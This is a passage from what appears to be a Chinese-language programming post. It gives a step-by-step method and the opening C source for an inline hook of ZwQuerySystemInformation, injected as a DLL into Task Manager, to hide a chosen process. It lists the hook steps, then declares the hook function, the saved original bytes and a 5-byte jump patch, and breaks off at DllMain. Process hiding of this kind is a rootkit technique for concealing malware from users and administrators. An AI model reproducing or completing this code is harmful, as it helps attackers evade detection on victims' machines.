InlineHook任务管理器_ZwQuerySystemInformation_隐藏进程
hook步骤:
-
查找目标函数地址
-
修改目标函数第一条指令跳转到我们构造的函数
-
卸载掉钩子,执行正常的目标函数
-
过滤掉特定信息后返回
hook代码如下
#include<windows.h>
#include<Winternl.h>
BOOL hook_code();
BOOL unHook_code();
NTSTATUS WINAPI NewZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);
char StroneDate[5]={0x00,0x00,0x00,0x00,0x00,};//备份原始字节
DWORD OldProtect;//原始页保护属性
DWORD dwAddress;//跳转偏移地址
FARPROC procaddr;
DWORD num;
byte pBuf[5]={0xE9,0xFF,0xFF,0xFF,0xFF};
typedef NTSTATUS (WINAPI * ZwQuerySystemInformation) (SYSTEM_INFORMATION_CLASS SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);
BOOL WINAPI DllMain(HMODULE hM